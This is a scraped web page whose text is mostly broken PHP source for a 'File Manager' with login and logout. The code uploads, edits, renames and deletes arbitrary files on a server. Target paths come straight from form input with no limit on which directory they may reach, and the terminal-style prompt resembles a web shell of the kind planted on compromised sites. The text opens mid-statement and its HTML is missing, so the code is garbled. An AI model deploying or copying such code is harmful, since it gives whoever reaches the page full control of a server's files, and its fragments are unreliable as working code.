Login

" . sanitize($part) . ""; } return implode(DIRECTORY_SEPARATOR, $breadcrumbs); } // Generate the clickable directory path $clickableDir = 'Directory:~$ ' . generateBreadcrumbs($dir); // File permissions display function perms($file) { $perms = fileperms($file); $type = ($perms & 0x4000) ? 'd' : '-'; $colorPerms = $type; $colorPerms .= (($perms & 0x0100) ? 'r' : '-'); $colorPerms .= (($perms & 0x0080) ? 'w' : '-'); $colorPerms .= (($perms & 0x0040) ? 'x' : '-'); $colorPerms .= (($perms & 0x0020) ? 'r' : '-'); $colorPerms .= (($perms & 0x0010) ? 'w' : '-'); $colorPerms .= (($perms & 0x0008) ? 'x' : '-'); $colorPerms .= (($perms & 0x0004) ? 'r' : '-'); $colorPerms .= (($perms & 0x0002) ? 'w' : '-'); $colorPerms .= (($perms & 0x0001) ? 'x' : '-'); return $colorPerms; } // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { if (is_writable($dir)) { $uploadFile = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo "

File uploaded successfully.

"; } else { echo "

Failed to upload file.

"; } } else { echo "

Upload failed. Directory is not writable.

"; } } // Handle file operations $action = $_POST['action'] ?? null; $target = $_POST['target'] ?? null; $realTarget = $target ? realpath($target) : null; $formToShow = $message = null; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $realTarget && file_exists($realTarget)) { switch ($action) { case 'edit': if (is_file($realTarget)) { $content = htmlspecialchars(file_get_contents($realTarget)); $formToShow = "
"; } break; case 'save': if (isset($_POST['file_content'])) { file_put_contents($realTarget, $_POST['file_content']); $message = "

File saved successfully.

"; } break; case 'rename': $formToShow = "
"; break; case 'do_rename': $newName = $_POST['new_name'] ?? ''; if ($newName && rename($realTarget, dirname($realTarget) . DIRECTORY_SEPARATOR . $newName)) { $message = "

Renamed successfully.

"; } else { $message = "

Failed to rename.

"; } break; case 'delete': if ((is_file($realTarget) && unlink($realTarget)) || (is_dir($realTarget) && rmdir($realTarget))) { $message = "

Deleted successfully.

"; } else { $message = "

Failed to delete.

"; } break; } } // List files and directories $scandir = array_diff(scandir($dir), ['.', '..']); ?> File Manager
Logout

File Manager

 [Home]

Name Size Permissions Actions
" . sanitize($file) . "" : sanitize($file); ?>